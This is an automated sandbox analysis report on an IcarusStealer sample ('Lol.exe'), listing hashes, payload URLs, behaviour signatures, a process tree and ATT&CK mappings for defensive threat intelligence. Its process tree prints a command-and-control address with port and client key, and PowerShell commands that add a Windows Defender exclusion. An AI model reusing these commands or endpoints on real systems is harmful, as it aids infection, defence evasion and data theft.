Overview

overview

10

Static

static

3

Lol.exe

windows7-x64

10

Lol.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    146s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-03-2024 21:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Lol.exe

  • Size

    494KB

  • MD5

    02d13710a5a788759319df4d64b95c17

  • SHA1

    166121845fb2f40cc9febc35dea432696e388bec

  • SHA256

    5422c44ddaea8b411bd457cd24c33c1c1fa8eed02dbdb35338da412f2be1dd33

  • SHA512

    0a0a9c7ef30d0d3e71141684e796cfc78eb9d4689e37ae6d66123dfdd8a12df55dd424c47cd1d75068c6b8ff16512da2d607b69a6bc6cbcfba01b8063311171c

  • SSDEEP

    12288:zhGwluLut6N6LqQzJqkKAulc84bYBbuB1t4cWWzDKuVAccIpGNJ+QY:VBZ6N6LqQzJqk/

Score
10/10
icarusstealerpersistencestealer

Malware Config

Extracted

Family

icarusstealer

Attributes
  • payload_url

    https://blackhatsec.org/add.jpg

    https://blackhatsec.org/remove.jpg

Signatures

  • IcarusStealer

    Icarus is a modular stealer written in C# First adverts in July 2022.

    stealericarusstealer
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 30 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Lol.exe
    "C:\Users\Admin\AppData\Local\Temp\Lol.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2532
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221.17 22817 vUiuCXqqM
      2⤵
        PID:2060
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221.17 22817 vUiuCXqqM
        2⤵
          PID:4840
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" ICARUS_Client 147.185.221.17 22817 vUiuCXqqM
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3352
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1384
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2868
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2076
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:3596
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1536
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4160
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1088
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4016
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1628
      • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
        "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
        1⤵
        • Modifies registry class
        PID:2824

      Network

      MITRE ATT&CK Matrix ATT&CK v13

      Initial Access

      Execution

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Defense Evasion

      Modify Registry

      2
      T1112

      Credential Access

      Discovery

      Query Registry

      3
      T1012

      Peripheral Device Discovery

      2
      T1120

      System Information Discovery

      2
      T1082

      Lateral Movement

      Collection

      Exfiltration

      Command and Control

      Impact

      Resource Development

      Reconnaissance

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        968cb9309758126772781b83adb8a28f

        SHA1

        8da30e71accf186b2ba11da1797cf67f8f78b47c

        SHA256

        92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

        SHA512

        4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        Download Submit
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        16KB

        MD5

        4fa83b423cec921a77f994275007238d

        SHA1

        d141fb3cd3afad8b3f4a1b94858974e8e6c22cd6

        SHA256

        02b77482ce5af5f78214c9048cedbd2773f2714ca7ffba5bd577ac570708fb57

        SHA512

        9448c215b12797e957d7ae5870239dc455a2973da1e85aa817977deb6896db30a58177cec39019a21089bd4b6a58beca7aec673fe287d7d9418e02b2d557bbbc

        Download Submit
      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Office_SETLANG_EXE_15
        Filesize

        36KB

        MD5

        0e2a09c8b94747fa78ec836b5711c0c0

        SHA1

        92495421ad887f27f53784c470884802797025ad

        SHA256

        0c1cdbbf6d974764aad46477863059eaec7b1717a7d26b025f0f8fe24338bb36

        SHA512

        61530a33a6109467962ba51371821ea55bb36cd2abc0e7a15f270abf62340e9166e66a1b10f4de9a306b368820802c4adb9653b9a5acd6f1e825e60128fd2409

        Download Submit
      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Windows_ControlPanel
        Filesize

        36KB

        MD5

        fb5f8866e1f4c9c1c7f4d377934ff4b2

        SHA1

        d0a329e387fb7bcba205364938417a67dbb4118a

        SHA256

        1649ec9493be27f76ae7304927d383f8a53dd3e41ea1678bacaff33120ea4170

        SHA512

        0fbe2843dfeab7373cde0643b20c073fdc2fcbefc5ae581fd1656c253dfa94e8bba4d348e95cc40d1e872456ecca894b462860aeac8b92cedb11a7cad634798c

        Download Submit
      • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133544054021373936.txt
        Filesize

        74KB

        MD5

        80dffedad36ef4c303579f8c9be9dbd7

        SHA1

        792ca2a83d616ca82d973ece361ed9e95c95a0d8

        SHA256

        590ca4d2f62a7864a62ccb1075c55191f7f9d5c5304ea3446961bb50f9e3916e

        SHA512

        826b97a4de7c765f8f5ebc520960f68381fd9f4bfe68c2fbe46c6118110c9c14a87dcb8ed8102e60a954b4b3c408f72e7a93fd96317be3d51120a2ddd2faa3ea

        Download Submit
      • C:\Users\Admin\AppData\Local\Packages\microsoft.windows.search_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\SL9YLD9N\microsoft.windows[1].xml
        Filesize

        97B

        MD5

        bb7934efe1e99dde2a4be53178ce8fd7

        SHA1

        49e6b2f364b597c34832d1878259d5eb671f21a4

        SHA256

        11904522eefd80ce753b37f72e745a251ea2a9bd65cbccbc8993944280db3426

        SHA512

        23ae797546cd1b9884c23e593c371e99ec872b54d5f0856729137ad78507e6e120de7bc75aa7dd7c7556217a628bcf8824175ea0982d6c3236cd22b15455c1d6

        Download Submit
      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_psibpm41.tup.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit
      • memory/1088-153-0x000001FD74CA0000-0x000001FD74CC0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1088-149-0x000001FD74850000-0x000001FD74870000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1088-147-0x000001FD74890000-0x000001FD748B0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1348-9-0x0000000005D60000-0x0000000006304000-memory.dmp
        Filesize

        5.6MB

        Download
      • memory/1348-8-0x00000000057A0000-0x00000000057B0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/1348-105-0x00000000057A0000-0x00000000057B0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/1348-7-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/1348-5-0x0000000000400000-0x0000000000424000-memory.dmp
        Filesize

        144KB

        Download
      • memory/1348-77-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/1384-103-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/1384-94-0x00000000079F0000-0x00000000079FE000-memory.dmp
        Filesize

        56KB

        Download
      • memory/1384-15-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/1384-93-0x00000000079C0000-0x00000000079D1000-memory.dmp
        Filesize

        68KB

        Download
      • memory/1384-91-0x0000000007840000-0x000000000784A000-memory.dmp
        Filesize

        40KB

        Download
      • memory/1384-90-0x00000000077C0000-0x00000000077DA000-memory.dmp
        Filesize

        104KB

        Download
      • memory/1384-42-0x00000000064A0000-0x00000000064EC000-memory.dmp
        Filesize

        304KB

        Download
      • memory/1384-76-0x0000000007470000-0x0000000007513000-memory.dmp
        Filesize

        652KB

        Download
      • memory/1384-16-0x0000000002F90000-0x0000000002FA0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/1384-75-0x0000000006A30000-0x0000000006A4E000-memory.dmp
        Filesize

        120KB

        Download
      • memory/1384-65-0x0000000070250000-0x000000007029C000-memory.dmp
        Filesize

        304KB

        Download
      • memory/1384-64-0x0000000006A50000-0x0000000006A82000-memory.dmp
        Filesize

        200KB

        Download
      • memory/1384-62-0x0000000002F90000-0x0000000002FA0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/1536-49-0x0000019573BB0000-0x0000019573BD0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1536-54-0x0000019573F80000-0x0000019573FA0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1536-51-0x0000019573B70000-0x0000019573B90000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1628-188-0x0000023D736F0000-0x0000023D73710000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1628-186-0x0000023D72FE0000-0x0000023D73000000-memory.dmp
        Filesize

        128KB

        Download
      • memory/1628-184-0x0000023D73320000-0x0000023D73340000-memory.dmp
        Filesize

        128KB

        Download
      • memory/2076-13-0x0000000005520000-0x0000000005530000-memory.dmp
        Filesize

        64KB

        Download
      • memory/2076-14-0x0000000005B60000-0x0000000006188000-memory.dmp
        Filesize

        6.2MB

        Download
      • memory/2076-41-0x0000000006940000-0x000000000695E000-memory.dmp
        Filesize

        120KB

        Download
      • memory/2076-89-0x0000000008290000-0x000000000890A000-memory.dmp
        Filesize

        6.5MB

        Download
      • memory/2076-36-0x0000000006470000-0x00000000067C4000-memory.dmp
        Filesize

        3.3MB

        Download
      • memory/2076-92-0x0000000007EC0000-0x0000000007F56000-memory.dmp
        Filesize

        600KB

        Download
      • memory/2076-19-0x0000000005980000-0x00000000059A2000-memory.dmp
        Filesize

        136KB

        Download
      • memory/2076-20-0x0000000006290000-0x00000000062F6000-memory.dmp
        Filesize

        408KB

        Download
      • memory/2076-95-0x0000000007F60000-0x0000000007F74000-memory.dmp
        Filesize

        80KB

        Download
      • memory/2076-96-0x0000000007FA0000-0x0000000007FBA000-memory.dmp
        Filesize

        104KB

        Download
      • memory/2076-97-0x0000000007F90000-0x0000000007F98000-memory.dmp
        Filesize

        32KB

        Download
      • memory/2076-26-0x0000000006300000-0x0000000006366000-memory.dmp
        Filesize

        408KB

        Download
      • memory/2076-63-0x0000000005520000-0x0000000005530000-memory.dmp
        Filesize

        64KB

        Download
      • memory/2076-78-0x0000000070250000-0x000000007029C000-memory.dmp
        Filesize

        304KB

        Download
      • memory/2076-104-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/2076-79-0x000000007FBE0000-0x000000007FBF0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/2076-12-0x0000000005520000-0x0000000005530000-memory.dmp
        Filesize

        64KB

        Download
      • memory/2076-11-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/2076-10-0x0000000005360000-0x0000000005396000-memory.dmp
        Filesize

        216KB

        Download
      • memory/2532-50-0x0000000002350000-0x0000000002351000-memory.dmp
        Filesize

        4KB

        Download
      • memory/3420-4-0x0000000005B90000-0x0000000005BA0000-memory.dmp
        Filesize

        64KB

        Download
      • memory/3420-3-0x0000000005A10000-0x0000000005AA2000-memory.dmp
        Filesize

        584KB

        Download
      • memory/3420-0-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/3420-61-0x0000000075180000-0x0000000075930000-memory.dmp
        Filesize

        7.7MB

        Download
      • memory/3420-2-0x0000000005970000-0x0000000005A0C000-memory.dmp
        Filesize

        624KB

        Download
      • memory/3420-1-0x0000000000F40000-0x0000000000FC2000-memory.dmp
        Filesize

        520KB

        Download
      • memory/4016-163-0x000001B256820000-0x000001B256840000-memory.dmp
        Filesize

        128KB

        Download
      • memory/4016-166-0x000001B2567E0000-0x000001B256800000-memory.dmp
        Filesize

        128KB

        Download
      • memory/4016-168-0x000001B256EA0000-0x000001B256EC0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/4160-118-0x000001C4CF680000-0x000001C4CF6A0000-memory.dmp
        Filesize

        128KB

        Download
      • memory/4160-120-0x000001C4CF640000-0x000001C4CF660000-memory.dmp
        Filesize

        128KB

        Download
      • memory/4160-122-0x000001C4CFA50000-0x000001C4CFA70000-memory.dmp
        Filesize

        128KB

        Download